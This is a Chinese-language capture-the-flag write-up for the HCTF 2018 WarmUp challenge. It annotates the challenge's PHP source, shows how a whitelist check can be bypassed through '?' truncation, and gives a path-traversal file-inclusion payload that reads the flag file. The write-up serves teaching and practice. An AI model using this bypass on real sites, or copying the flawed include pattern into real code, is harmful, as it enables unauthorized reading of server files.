BUUCTF-[HCTF 2018]WarmUp-wp

进去本来有张滑稽的

 F12查看源码找到source.php 并访问

获得题目源码 并分析 

<?php
    highlight_file(__FILE__);   //高亮文件
    class emmm  //声明emmm类
    {
        public static function checkFile(&$page)  //声明方法 一个waf
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 将source.php 和 hint.php 视为白名单 若要构造 必须有这2个
            if (! isset($page) || !is_string($page)) {  //isset判断 $page是否声明 is_string 判断 $page是否为字符串
                echo "you can't see it";   //满足条件 输出
                return false;
            }

            if (in_array($page, $whitelist)) {   //in_array 判断$page中参数是否在$whitelist中 其实就是判断 参数中是否有hint.php 或者 source.php
                return true;  //有 返回真 
            }

            $_page = mb_substr(  //mb_substr mb_substr() 截取字符串中指定长度字符 mb_strpos()是匹配?前的字符  意思是  参数中必须要有的 hint.php? 或者source.php? 不然过不了白名单


                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {  //判断截取的是否在白名单 如果传入参数 hint.php? 截取完就是 hint.php 故在白名单
                return true;
            }

            $_page = urldecode($page);   //下面的类似 只不过 是先解码 在截取判断 
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])   //判断file传参的值是否为空 
        && is_string($_REQUEST['file'])  //判断值是否为字符串
        && emmm::checkFile($_REQUEST['file']) //调用方法去核对传入参数 也就是把值传给了$page 
    ) {
        include $_REQUEST['file'];  //都满足的话 file传的文件 应该是本地包含 到这个php   
        exit;
    } else {
        echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    }   //这个不重要
?>

先访问 hint.php hint是提示


说明存在一个ffffllllaaaagggg的一个文件  在服务器上 需要构造 本地包含 将这个文件包含在source.php中 

是file传参  

python  构造 

 构造 poc  并获得flag 不进行 attack

payload经过上面的代码审计  可构造 payload:?file=hint.php?../../../../../ffffllllaaaagggg

 不用加后缀  然后 ../有多少个需要自己判断  这里 它可能放在根目录了  ../ 是为了找哪个目录有这个文件名

致死点 : 文件包含 php审计

原文地址:https://www.cnblogs.com/Sabia/p/14056649.html